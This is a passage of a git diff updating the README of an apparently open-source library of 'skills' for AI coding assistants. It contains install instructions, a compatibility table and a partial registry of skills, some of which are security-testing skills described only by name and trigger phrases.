+A: Yes, MIT License. Open Source forever.
+
+---
+
+## ⏭️ Next Steps
+
+1.  [Browse the Bundles](docs/BUNDLES.md)
+2.  [See Real-World Examples](docs/EXAMPLES.md)
+3.  [Contribute a Skill](CONTRIBUTING.md)

README.md

@@ -1,23 +1,100 @@
-# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
+# 🌌 Antigravity Awesome Skills: 253+ Agentic Skills for Claude Code, Gemini CLI, Cursor, Copilot & More
 
-> **The Ultimate Collection of 60+ Agentic Skills for Claude Code (Antigravity)**
+> **The Ultimate Collection of 253+ Universal Agentic Skills for AI Coding Assistants — Claude Code, Gemini CLI, Codex CLI, Antigravity IDE, GitHub Copilot, Cursor, OpenCode**
 
 [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
-[![Claude Code](https://img.shields.io/badge/AI-Claude%20Code-purple)](https://claude.ai)
-[![Agentic](https://img.shields.io/badge/Agentic-Framework-blue)](https://github.com/guanyang/antigravity-skills)
+[![Claude Code](https://img.shields.io/badge/Claude%20Code-Anthropic-purple)](https://claude.ai)
+[![Gemini CLI](https://img.shields.io/badge/Gemini%20CLI-Google-blue)](https://github.com/google-gemini/gemini-cli)
+[![Codex CLI](https://img.shields.io/badge/Codex%20CLI-OpenAI-green)](https://github.com/openai/codex)
+[![Cursor](https://img.shields.io/badge/Cursor-AI%20IDE-orange)](https://cursor.sh)
+[![Copilot](https://img.shields.io/badge/GitHub%20Copilot-VSCode-lightblue)](https://github.com/features/copilot)
+[![OpenCode](https://img.shields.io/badge/OpenCode-CLI-gray)](https://github.com/opencode-ai/opencode)
+[![Antigravity](https://img.shields.io/badge/Antigravity-DeepMind-red)](https://github.com/sickn33/antigravity-awesome-skills)
 
-**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **71 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
+**Antigravity Awesome Skills** is a curated, battle-tested library of **251 high-performance agentic skills** designed to work seamlessly across all major AI coding assistants:
+
+- 🟣 **Claude Code** (Anthropic CLI)
+- 🔵 **Gemini CLI** (Google DeepMind)
+- 🟢 **Codex CLI** (OpenAI)
+- 🔴 **Antigravity IDE** (Google DeepMind)
+- 🩵 **GitHub Copilot** (VSCode Extension)
+- 🟠 **Cursor** (AI-native IDE)
+- ⚪ **OpenCode** (Open-source CLI)
+
+This repository provides essential skills to transform your AI assistant into a **full-stack digital agency**, including official capabilities from **Anthropic**, **OpenAI**, **Google**, **Supabase**, and **Vercel Labs**.
 
 ## 📍 Table of Contents
 
-- [Features & Categories](#features--categories)
-- [Full Skill Registry](#full-skill-registry-7171)
-- [Installation](#installation)
-- [How to Contribute](#how-to-contribute)
-- [Credits & Sources](#credits--sources)
-- [License](#license)
+- [🚀 New Here? Start Here!](#new-here-start-here)
+- [🔌 Compatibility & Invocation](#compatibility--invocation)
+- [📦 Features & Categories](#features--categories)
+- [🎁 Curated Collections (Bundles)](#curated-collections)
+- [📜 Full Skill Registry](#full-skill-registry-253253)
+- [🛠️ Installation](#installation)
+- [🤝 How to Contribute](#how-to-contribute)
+- [👥 Contributors & Credits](#credits--sources)
+- [⚖️ License](#license)
+- [👥 Repo Contributors](#repo-contributors)
+- [🌟 Star History](#star-history)
 
-Whether you are using the Google Deepmind Antigravity framework or the standard Anthropic Claude Code CLI, these skills are designed to drop right in and supercharge your agent.
+---
+
+## New Here? Start Here!
+
+**Welcome to the V3 Enterprise Edition.** This isn't just a list of scripts; it's a complete operating system for your AI Agent.
+
+### 1. 🐣 Context: What is this?
+
+AI Agents (like Claude Code, Cursor, or Gemini) are smart, but they lack **specific tools**. They don't know your company's "Deployment Protocol" or the specific syntax for "AWS CloudFormation".
+**Skills** are small markdown files that teach them how to do these specific tasks perfectly, every time.
+
+### 2. ⚡️ Quick Start (The "Bundle" Way)
+
+Don't install 250+ skills manually. Use our **Starter Packs**:
+
+1.  **Clone the repo**:
+    ```bash
+    git clone https://github.com/sickn33/antigravity-awesome-skills.git .agent/skills
+    ```
+2.  **Pick your persona** (See [docs/BUNDLES.md](docs/BUNDLES.md)):
+    - **Web Dev?** use the `Web Wizard` pack.
+    - **Hacker?** use the `Security Engineer` pack.
+    - **Just curious?** start with `Essentials`.
+
+### 3. 🧠 How to use
+
+Once installed, just ask your agent naturally:
+
+> "Use the **@brainstorming** skill to help me plan a SaaS."
+> "Run **@lint-and-validate** on this file."
+
+👉 **[Read the Full Getting Started Guide](GETTING_STARTED.md)**
+
+---
+
+## Compatibility & Invocation
+
+These skills follow the universal **SKILL.md** format and work with any AI coding assistant that supports agentic skills.
+
+| Tool            | Type | Invocation Example                | Path              |
+| :-------------- | :--- | :-------------------------------- | :---------------- |
+| **Claude Code** | CLI  | `>> /skill-name help me...`       | `.claude/skills/` |
+| **Gemini CLI**  | CLI  | `(User Prompt) Use skill-name...` | `.gemini/skills/` |
+| **Antigravity** | IDE  | `(Agent Mode) Use skill...`       | `.agent/skills/`  |
+| **Cursor**      | IDE  | `@skill-name (in Chat)`           | `.cursor/skills/` |
+| **Copilot**     | Ext  | `(Paste content manually)`        | N/A               |
+
+> [!TIP]
+> **Universal Path**: We recommend cloning to `.agent/skills/`. Most modern tools (Antigravity, recent CLIs) look here by default.
+
+> [!WARNING]
+> **Windows Users**: This repository uses **symlinks** for official skills.
+> You must enable Developer Mode or run Git as Administrator:
+> `git clone -c core.symlinks=true https://github.com/...`
+
+---
+
+Whether you are using **Gemini CLI**, **Claude Code**, **Codex CLI**, **Cursor**, **GitHub Copilot**, **Antigravity**, or **OpenCode**, these skills are designed to drop right in and supercharge your AI agent.
 
 This repository aggregates the best capabilities from across the open-source community, transforming your AI assistant into a full-stack digital agency capable of Engineering, Design, Security, Marketing, and Autonomous Operations.
 
@@ -25,108 +102,308 @@ This repository aggregates the best capabilities from across the open-source com
 
 The repository is organized into several key areas of expertise:
 
-| Category                 | Skills Included                                                                        |
-| :----------------------- | :------------------------------------------------------------------------------------- |
-| **🎨 Creative & Design** | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz         |
-| **🛠️ Development**       | TDD, Systematic Debugging, Webapp Testing, Backend/Frontend Guidelines, React Patterns |
-| **🛡️ Cybersecurity**     | Ethical Hacking, AWS Pentesting, OWASP Top 100, Pentest Checklists                     |
-| **🛸 Autonomous**        | **Loki Mode** (Startup-in-a-box), Subagent Orchestration, Parallel Execution           |
-| **📈 Strategy**          | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming         |
-| **🏗️ Infrastructure**    | Linux Shell Scripting, Git Worktrees, Conventional Commits, File Organization          |
+| Category                    | Skills Count | Key Skills Included                                                                                                          |
+| :-------------------------- | :----------- | :--------------------------------------------------------------------------------------------------------------------------- |
+| **🛸 Autonomous & Agentic** | **~8**       | Loki Mode (Startup-in-a-box), Subagent Driven Dev, Dispatching Parallel Agents, Planning With Files, Skill Creator/Developer |
+| **🔌 Integrations & APIs**  | **~25**      | Stripe, Firebase, Supabase, Vercel, Clerk Auth, Twilio, Discord Bot, Slack Bot, GraphQL, AWS Serverless                      |
+| **🛡️ Cybersecurity**        | **~51**      | Ethical Hacking, Metasploit, Burp Suite, SQLMap, Active Directory, AWS/Cloud Pentesting, OWASP Top 100, Red Team Tools       |
+| **🎨 Creative & Design**    | **~10**      | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz, Web Artifacts                                |
+| **🛠️ Development**          | **~33**      | TDD, Systematic Debugging, React Patterns, Backend/Frontend Guidelines, Senior Fullstack, Software Architecture              |
+| **🏗️ Infrastructure & Git** | **~8**       | Linux Shell Scripting, Git Worktrees, Git Pushing, Conventional Commits, File Organization, GitHub Workflow Automation       |
+| **🤖 AI Agents & LLM**      | **~31**      | LangGraph, CrewAI, Langfuse, RAG Engineer, Prompt Engineer, Voice Agents, Browser Automation, Agent Memory Systems           |
+| **🔄 Workflow & Planning**  | **~6**       | Writing Plans, Executing Plans, Concise Planning, Verification Before Completion, Code Review (Requesting/Receiving)         |
+| **📄 Document Processing**  | **~4**       | DOCX (Official), PDF (Official), PPTX (Official), XLSX (Official)                                                            |
+| **🧪 Testing & QA**         | **~4**       | Webapp Testing, Playwright Automation, Test Fixing, Testing Patterns                                                         |
+| **📈 Product & Strategy**   | **~8**       | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming, Internal Comms                               |
+| **📣 Marketing & Growth**   | **~23**      | Page CRO, Copywriting, SEO Audit, Paid Ads, Email Sequence, Pricing Strategy, Referral Program, Launch Strategy              |
+| **🚀 Maker Tools**          | **~11**      | Micro-SaaS Launcher, Browser Extension Builder, Telegram Bot, AI Wrapper Product, Viral Generator, 3D Web Experience         |
 
 ---
 
-## Full Skill Registry (71/71)
+## Curated Collections
 
-Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
+[Check out our Starter Packs in docs/BUNDLES.md](docs/BUNDLES.md) to find the perfect toolkit for your role.
+
+## 📦 Curated Collections
+
+[Check out our Starter Packs in docs/BUNDLES.md](docs/BUNDLES.md) to find the perfect toolkit for your role.
+
+## Full Skill Registry (253/253)
 
 > [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility.
 
-| Skill Name                         | Description                                                     | Path                                           |
-| :--------------------------------- | :-------------------------------------------------------------- | :--------------------------------------------- |
-| **Address GitHub Comments**        | Systematic PR feedback handling using gh CLI.                   | `skills/address-github-comments` ⭐ NEW        |
-| **Algorithmic Art**                | Creative generative art using p5.js and seeded randomness.      | `skills/algorithmic-art`                       |
-| **App Store Optimization**         | Complete ASO toolkit for iOS and Android app performance.       | `skills/app-store-optimization`                |
-| **Autonomous Agent Patterns**      | Design patterns for autonomous coding agents and tools.         | `skills/autonomous-agent-patterns` ⭐ NEW      |
-| **AWS Pentesting**                 | Specialized security assessment for Amazon Web Services.        | `skills/aws-penetration-testing`               |
-| **Backend Guidelines**             | Core architecture patterns for Node/Express microservices.      | `skills/backend-dev-guidelines`                |
-| **Concise Planning**               | Atomic, actionable task planning and checklists.                | `skills/concise-planning` ⭐ NEW               |
-| **Brainstorming**                  | Requirement discovery and intent exploration framework.         | `skills/brainstorming`                         |
-| **Brand Guidelines (Anthropic)**   | Official Anthropic brand styling and visual standards.          | `skills/brand-guidelines-anthropic` ⭐ NEW     |
-| **Brand Guidelines (Community)**   | Community-contributed brand guidelines and templates.           | `skills/brand-guidelines-community`            |
-| **Bun Development**                | Modern JavaScript/TypeScript development with Bun runtime.      | `skills/bun-development` ⭐ NEW                |
-| **Canvas Design**                  | Beautiful static visual design in PDF and PNG.                  | `skills/canvas-design`                         |
-| **Claude D3.js**                   | Advanced data visualization with D3.js.                         | `skills/claude-d3js-skill`                     |
-| **Content Creator**                | SEO-optimized marketing and brand voice toolkit.                | `skills/content-creator`                       |
-| **Core Components**                | Design system tokens and baseline UI patterns.                  | `skills/core-components`                       |
-| **Dispatching Parallel Agents**    | Work on independent tasks without shared state.                 | `skills/dispatching-parallel-agents`           |
-| **Doc Co-authoring**               | Structured workflow for technical documentation.                | `skills/doc-coauthoring`                       |
-| **DOCX (Official)**                | Official Anthropic MS Word document manipulation.               | `skills/docx-official` ⭐ NEW                  |
-| **Ethical Hacking**                | Comprehensive penetration testing lifecycle methodology.        | `skills/ethical-hacking-methodology`           |
-| **Executing Plans**                | Execute written implementation plans in structured sessions.    | `skills/executing-plans`                       |
-| **File Organizer**                 | Context-aware file organization and duplicate cleanup.          | `skills/file-organizer`                        |
-| **Finishing Dev Branch**           | Structured workflow for merging, PRs, and branch cleanup.       | `skills/finishing-a-development-branch`        |
-| **Frontend Design**                | Production-grade UI component implementation.                   | `skills/frontend-design`                       |
-| **Frontend Guidelines**            | Modern React/TS development patterns and file structure.        | `skills/frontend-dev-guidelines`               |
-| **Git Pushing**                    | Automated staging and conventional commits.                     | `skills/git-pushing`                           |
-| **GitHub Workflow Automation**     | AI-powered PR reviews, issue triage, and CI/CD integration.     | `skills/github-workflow-automation` ⭐ NEW     |
-| **Internal Comms (Anthropic)**     | Official Anthropic corporate communication templates.           | `skills/internal-comms-anthropic` ⭐ NEW       |
-| **Internal Comms (Community)**     | Community-contributed communication templates.                  | `skills/internal-comms-community`              |
-| **JavaScript Mastery**             | 33+ essential JavaScript concepts every developer should know.  | `skills/javascript-mastery` ⭐ NEW             |
-| **Kaizen**                         | Continuous improvement and error-proofing (Poka-Yoke).          | `skills/kaizen`                                |
-| **Linux Shell Scripting**          | Production-ready shell scripts for automation.                  | `skills/linux-shell-scripting`                 |
-| **LLM App Patterns**               | RAG pipelines, agent architectures, and LLMOps patterns.        | `skills/llm-app-patterns` ⭐ NEW               |
-| **Loki Mode**                      | Fully autonomous startup development engine.                    | `skills/loki-mode`                             |
-| **MCP Builder**                    | High-quality Model Context Protocol (MCP) server creation.      | `skills/mcp-builder`                           |
-| **NotebookLM**                     | Source-grounded querying via Google NotebookLM.                 | `skills/notebooklm`                            |
-| **PDF (Official)**                 | Official Anthropic PDF document manipulation.                   | `skills/pdf-official` ⭐ NEW                   |
-| **Pentest Checklist**              | Structured security assessment planning and scoping.            | `skills/pentest-checklist`                     |
-| **Planning With Files**            | Manus-style file-based planning for complex tasks.              | `skills/planning-with-files`                   |
-| **Playwright Automation**          | Complete browser automation and testing with Playwright.        | `skills/playwright-skill`                      |
-| **PPTX (Official)**                | Official Anthropic PowerPoint manipulation.                     | `skills/pptx-official` ⭐ NEW                  |
-| **Product Toolkit**                | RICE prioritization and product discovery frameworks.           | `skills/product-manager-toolkit`               |
-| **Prompt Engineering**             | Expert patterns for LLM instruction optimization.               | `skills/prompt-engineering`                    |
-| **Prompt Library**                 | Curated role-based and task-specific prompt templates.          | `skills/prompt-library` ⭐ NEW                 |
-| **React Best Practices**           | Vercel's 40+ performance optimization rules for React.          | `skills/react-best-practices` ⭐ NEW (Vercel)  |
-| **React UI Patterns**              | Standardized loading states and error handling for React.       | `skills/react-ui-patterns`                     |
-| **Receiving Code Review**          | Technical verification of code review feedback.                 | `skills/receiving-code-review`                 |
-| **Requesting Code Review**         | Pre-merge requirements verification workflow.                   | `skills/requesting-code-review`                |
-| **Senior Architect**               | Scalable system design and architecture diagrams.               | `skills/senior-architect`                      |
-| **Senior Fullstack**               | Comprehensive fullstack guide (React, Node, Postgres).          | `skills/senior-fullstack`                      |
-| **Skill Creator**                  | Meta-skill for building high-performance agentic skills.        | `skills/skill-creator`                         |
-| **Skill Developer**                | Create and manage skills using Anthropic best practices.        | `skills/skill-developer`                       |
-| **Slack GIF Creator**              | Create animated GIFs optimized for Slack.                       | `skills/slack-gif-creator`                     |
-| **Software Architecture**          | Quality-focused design principles and analysis.                 | `skills/software-architecture`                 |
-| **Subagent Driven Dev**            | Orchestrate independent subtasks in current session.            | `skills/subagent-driven-development`           |
-| **Systematic Debugging**           | Root cause analysis and structured fix verification.            | `skills/systematic-debugging`                  |
-| **TDD**                            | Test-Driven Development workflow and red-green-refactor.        | `skills/test-driven-development`               |
-| **Test Fixing**                    | Systematically fix failing tests using smart error grouping.    | `skills/test-fixing`                           |
-| **Testing Patterns**               | Jest patterns, factories, and TDD workflow strategies.          | `skills/testing-patterns`                      |
-| **Theme Factory**                  | Toolkit for styling artifacts with pre-set or generated themes. | `skills/theme-factory`                         |
-| **Top 100 Vulnerabilities**        | OWASP-aligned web vulnerability taxonomy and mitigations.       | `skills/top-web-vulnerabilities`               |
-| **UI/UX Pro Max**                  | Advanced design intelligence and 50+ styling options.           | `skills/ui-ux-pro-max`                         |
-| **Using Git Worktrees**            | Isolated workspaces for safe feature development.               | `skills/using-git-worktrees`                   |
-| **Using Superpowers**              | Establish skill usage protocols at conversation start.          | `skills/using-superpowers`                     |
-| **Verification Before Completion** | Run verification commands before claiming success.              | `skills/verification-before-completion`        |
-| **Web Artifacts**                  | Complex React/Tailwind/Shadcn UI artifact builder.              | `skills/web-artifacts-builder`                 |
-| **Web Design Guidelines**          | Vercel's 100+ UI/UX audit rules (accessibility, performance).   | `skills/web-design-guidelines` ⭐ NEW (Vercel) |
-| **Webapp Testing**                 | Local web application testing with Playwright.                  | `skills/webapp-testing`                        |
-| **Workflow Automation**            | Multi-step automations, API integration, AI-native pipelines.   | `skills/workflow-automation` ⭐ NEW            |
-| **Writing Plans**                  | Create specs for multi-step tasks before coding.                | `skills/writing-plans`                         |
-| **Writing Skills**                 | Create and verify skills before deployment.                     | `skills/writing-skills`                        |
-| **XLSX (Official)**                | Official Anthropic Excel spreadsheet manipulation.              | `skills/xlsx-official` ⭐ NEW                  |
-
-> [!TIP]
-> Use the `validate_skills.py` script in the `scripts/` directory to ensure all skills are properly formatted and ready for use.
-
----
+| Skill Name | Risk | Description | Path |
+| :--- | :--- | :--- | :--- |
+| **2d-games** | ⚪ | 2D game development principles. Sprites, tilemaps, physics, camera. | `skills/game-development/2d-games` |
+| **3d-games** | ⚪ | 3D game development principles. Rendering, shaders, physics, cameras. | `skills/game-development/3d-games` |
+| **3d-web-experience** | ⚪ | Expert in building 3D experiences for the web - Three.js, React Three Fiber, Spline, WebGL, and interactive 3D scenes. Covers product configurators, 3D portfolios, immersive websites, and bringing depth to web experiences. Use when: 3D website, three.js, WebGL, react three fiber, 3D experience. | `skills/3d-web-experience` |
+| **ab-test-setup** | ⚪ | Structured guide for setting up A/B tests with mandatory gates for hypothesis, metrics, and execution readiness. | `skills/ab-test-setup` |
+| **Active Directory Attacks** | ⚪ | This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing. | `skills/active-directory-attacks` |
+| **address-github-comments** | ⚪ | Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI. | `skills/address-github-comments` |
+| **agent-evaluation** | ⚪ | Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent. | `skills/agent-evaluation` |
+| **agent-manager-skill** | ⚪ | Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling. | `skills/agent-manager-skill` |
+| **agent-memory-mcp** | ⚪ | A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions). | `skills/agent-memory-mcp` |
+| **agent-memory-systems** | ⚪ | Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector stores), and the cognitive architectures that organize them.  Key insight: Memory isn't just storage - it's retrieval. A million stored facts mean nothing if you can't find the right one. Chunking, embedding, and retrieval strategies determine whether your agent remembers or forgets.  The field is fragm | `skills/agent-memory-systems` |
+| **agent-tool-builder** | ⚪ | Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessary.  This skill covers tool design from schema to error handling. JSON Schema best practices, description writing that actually helps the LLM, validation, and the emerging MCP standard that's becoming the lingua franca for AI tools.  Key insight: Tool descriptions are more important than tool implementa | `skills/agent-tool-builder` |
+| **ai-agents-architect** | ⚪ | Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool use, function calling. | `skills/ai-agents-architect` |
+| **ai-product** | ⚪ | Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production.  This skill covers LLM integration patterns, RAG architecture, prompt engineering that scales, AI UX that users trust, and cost optimization that doesn't bankrupt you. Use when: keywords, file_patterns, code_patterns. | `skills/ai-product` |
+| **ai-wrapper-product** | ⚪ | Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Covers prompt engineering for products, cost management, rate limiting, and building defensible AI businesses. Use when: AI wrapper, GPT product, AI tool, wrap AI, AI SaaS. | `skills/ai-wrapper-product` |
+| **algolia-search** | ⚪ | Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning Use when: adding search to, algolia, instantsearch, search api, search functionality. | `skills/algolia-search` |
+| **algorithmic-art** | ⚪ | Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations. | `skills/algorithmic-art` |
+| **analytics-tracking** | ⚪ | Design, audit, and improve analytics tracking systems that produce reliable, decision-ready data. Use when the user wants to set up, fix, or evaluate analytics tracking (GA4, GTM, product analytics, events, conversions, UTMs). This skill focuses on measurement strategy, signal quality, and validation— not just firing events. | `skills/analytics-tracking` |
+| **API Fuzzing for Bug Bounty** | ⚪ | This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques. | `skills/api-fuzzing-bug-bounty` |
+| **api-documentation-generator** | ⚪ | Generate comprehensive, developer-friendly API documentation from code, including endpoints, parameters, examples, and best practices | `skills/api-documentation-generator` |
+| **api-patterns** | ⚪ | API design principles and decision-making. REST vs GraphQL vs tRPC selection, response formats, versioning, pagination. | `skills/api-patterns` |
+| **api-security-best-practices** | ⚪ | Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities | `skills/api-security-best-practices` |
+| **app-builder** | ⚪ | Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents. | `skills/app-builder` |
+| **app-store-optimization** | ⚪ | Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store | `skills/app-store-optimization` |
+| **architecture** | ⚪ | Architectural decision-making framework. Requirements analysis, trade-off evaluation, ADR documentation. Use when making architecture decisions or analyzing system design. | `skills/architecture` |
+| **autonomous-agent-patterns** | ⚪ | Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants. | `skills/autonomous-agent-patterns` |
+| **autonomous-agents** | ⚪ | Autonomous agents are AI systems that can independently decompose goals, plan actions, execute tools, and self-correct without constant human guidance. The challenge isn't making them capable - it's making them reliable. Every extra decision multiplies failure probability.  This skill covers agent loops (ReAct, Plan-Execute), goal decomposition, reflection patterns, and production reliability. Key insight: compounding error rates kill autonomous agents. A 95% success rate per step drops to 60% b | `skills/autonomous-agents` |
+| **avalonia-layout-zafiro** | ⚪ | Guidelines for modern Avalonia UI layout using Zafiro.Avalonia, emphasizing shared styles, generic components, and avoiding XAML redundancy. | `skills/avalonia-layout-zafiro` |
+| **avalonia-viewmodels-zafiro** | ⚪ | Optimal ViewModel and Wizard creation patterns for Avalonia using Zafiro and ReactiveUI. | `skills/avalonia-viewmodels-zafiro` |
+| **avalonia-zafiro-development** | ⚪ | Mandatory skills, conventions, and behavioral rules for Avalonia UI development using the Zafiro toolkit. | `skills/avalonia-zafiro-development` |
+| **AWS Penetration Testing** | ⚪ | This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. | `skills/aws-penetration-testing` |
+| **aws-serverless** | ⚪ | Specialized skill for building production-ready serverless applications on AWS. Covers Lambda functions, API Gateway, DynamoDB, SQS/SNS event-driven patterns, SAM/CDK deployment, and cold start optimization. | `skills/aws-serverless` |
+| **azure-functions** | ⚪ | Expert patterns for Azure Functions development including isolated worker model, Durable Functions orchestration, cold start optimization, and production patterns. Covers .NET, Python, and Node.js programming models. Use when: azure function, azure functions, durable functions, azure serverless, function app. | `skills/azure-functions` |
+| **backend-dev-guidelines** | ⚪ | Opinionated backend development standards for Node.js + Express + TypeScript microservices. Covers layered architecture, BaseController pattern, dependency injection, Prisma repositories, Zod validation, unifiedConfig, Sentry error tracking, async safety, and testing discipline. | `skills/backend-dev-guidelines` |
+| **backend-patterns** | ⚪ | Backend architecture patterns, API design, database optimization, and server-side best practices for Node.js, Express, and Next.js API routes. | `skills/cc-skill-backend-patterns` |
+| **bash-linux** | ⚪ | Bash/Linux terminal patterns. Critical commands, piping, error handling, scripting. Use when working on macOS or Linux systems. | `skills/bash-linux` |
+| **behavioral-modes** | ⚪ | AI operational modes (brainstorm, implement, debug, review, teach, ship, orchestrate). Use to adapt behavior based on task type. | `skills/behavioral-modes` |
+| **blockrun** | ⚪ | Use when user needs capabilities Claude lacks (image generation, real-time X/Twitter data) or explicitly requests external models ("blockrun", "use grok", "use gpt", "dall-e", "deepseek") | `skills/blockrun` |
+| **brainstorming** | ⚪ | Use this skill before any creative or constructive work (features, components, architecture, behavior changes, or functionality). This skill transforms vague ideas into validated designs through disciplined, incremental reasoning and collaboration. | `skills/brainstorming` |
+| **brand-guidelines** | ⚪ | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply. | `skills/brand-guidelines-anthropic` |
+| **brand-guidelines** | ⚪ | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply. | `skills/brand-guidelines-community` |
+| **Broken Authentication Testing** | ⚪ | This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications. | `skills/broken-authentication` |
+| **browser-automation** | ⚪ | Browser automation powers web testing, scraping, and AI agent interactions. The difference between a flaky script and a reliable system comes down to understanding selectors, waiting strategies, and anti-detection patterns.  This skill covers Playwright (recommended) and Puppeteer, with patterns for testing, scraping, and agentic browser control. Key insight: Playwright won the framework war. Unless you need Puppeteer's stealth ecosystem or are Chrome-only, Playwright is the better choice in 202 | `skills/browser-automation` |
+| **browser-extension-builder** | ⚪ | Expert in building browser extensions that solve real problems - Chrome, Firefox, and cross-browser extensions. Covers extension architecture, manifest v3, content scripts, popup UIs, monetization strategies, and Chrome Web Store publishing. Use when: browser extension, chrome extension, firefox addon, extension, manifest v3. | `skills/browser-extension-builder` |
+| **bullmq-specialist** | ⚪ | BullMQ expert for Redis-backed job queues, background processing, and reliable async execution in Node.js/TypeScript applications. Use when: bullmq, bull queue, redis queue, background job, job queue. | `skills/bullmq-specialist` |
+| **bun-development** | ⚪ | Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun. | `skills/bun-development` |
+| **Burp Suite Web Application Testing** | ⚪ | This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing. | `skills/burp-suite-testing` |
+| **busybox-on-windows** | ⚪ | How to use a Win32 build of BusyBox to run many of the standard UNIX command line tools on Windows. | `skills/busybox-on-windows` |
+| **canvas-design** | ⚪ | Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations. | `skills/canvas-design` |
+| **cc-skill-continuous-learning** | ⚪ | Development skill from everything-claude-code | `skills/cc-skill-continuous-learning` |
+| **cc-skill-project-guidelines-example** | ⚪ | Project Guidelines Skill (Example) | `skills/cc-skill-project-guidelines-example` |
+| **cc-skill-strategic-compact** | ⚪ | Development skill from everything-claude-code | `skills/cc-skill-strategic-compact` |
+| **Claude Code Guide** | ⚪ | Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies "Thinking" keywords, debugging techniques, and best practices for interacting with the agent. | `skills/claude-code-guide` |
+| **clean-code** | ⚪ | Pragmatic coding standards - concise, direct, no over-engineering, no unnecessary comments | `skills/clean-code` |
+| **clerk-auth** | ⚪ | Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up. | `skills/clerk-auth` |
+| **clickhouse-io** | ⚪ | ClickHouse database patterns, query optimization, analytics, and data engineering best practices for high-performance analytical workloads. | `skills/cc-skill-clickhouse-io` |
+| **Cloud Penetration Testing** | ⚪ | This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms. | `skills/cloud-penetration-testing` |
+| **code-review-checklist** | ⚪ | Comprehensive checklist for conducting thorough code reviews covering functionality, security, performance, and maintainability | `skills/code-review-checklist` |
+| **codex-review** | ⚪ | Professional code review with auto CHANGELOG generation, integrated with Codex AI | `skills/codex-review` |
+| **coding-standards** | ⚪ | Universal coding standards, best practices, and patterns for TypeScript, JavaScript, React, and Node.js development. | `skills/cc-skill-coding-standards` |
